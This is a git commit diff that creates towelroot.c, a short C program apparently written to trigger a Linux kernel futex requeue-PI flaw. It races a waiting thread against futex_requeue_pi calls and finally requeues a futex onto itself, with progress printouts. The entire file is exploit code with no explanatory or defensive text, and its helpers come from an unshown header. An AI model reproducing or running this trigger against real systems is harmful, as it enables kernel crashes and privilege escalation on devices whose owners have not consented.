Create towelroot.c

1 files changed, 56 insertions, 0 deletions

diff --git a/towelroot.c b/towelroot.c
new file mode 100644
index 0000000..51c2962
--- /dev/null
+++ b/towelroot.c
@@ -0,0 +1,56 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <linux/futex.h>
+#include "userlock.h"
+  
+int A = 0, B = 0;
+  
+volatile int invoke_futex_wait_requeue_pi = 0;
+volatile pid_t thread_tid = -1;
+  
+void *thread(void *arg)
+{
+    thread_tid = gettid();
+    printf("[2]\n");
+    userlock_wait(&invoke_futex_wait_requeue_pi);
+    futex_wait_requeue_pi(&A, &B);
+    printf("Someone woke me up\n");
+    while (1) {
+        sleep(1);
+    }
+}
+  
+int main(int argc, char *argv[])
+{
+    pthread_t t;
+    int context_switch_count = 0;
+  
+    printf("[1]\n");
+  
+    futex_lock_pi(&B);
+  
+    userlock_lock(&invoke_futex_wait_requeue_pi);
+    pthread_create(&t, NULL, thread, NULL);
+    /* Wait for the thread to be in a system call */
+    while (thread_tid < 0) {
+        usleep(10);
+    }
+    context_switch_count = get_voluntary_ctxt_switches(thread_tid);
+    userlock_release(&invoke_futex_wait_requeue_pi);
+    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
+  
+    printf("[3]\n");
+    futex_requeue_pi(&A, &B, A);
+  
+    printf("[4]\n");
+    B = 0;
+  
+    printf("[5]\n");
+    futex_requeue_pi(&B, &B, B);
+  
+    while (1) {
+        sleep(1);
+    }
+    return 0;
+}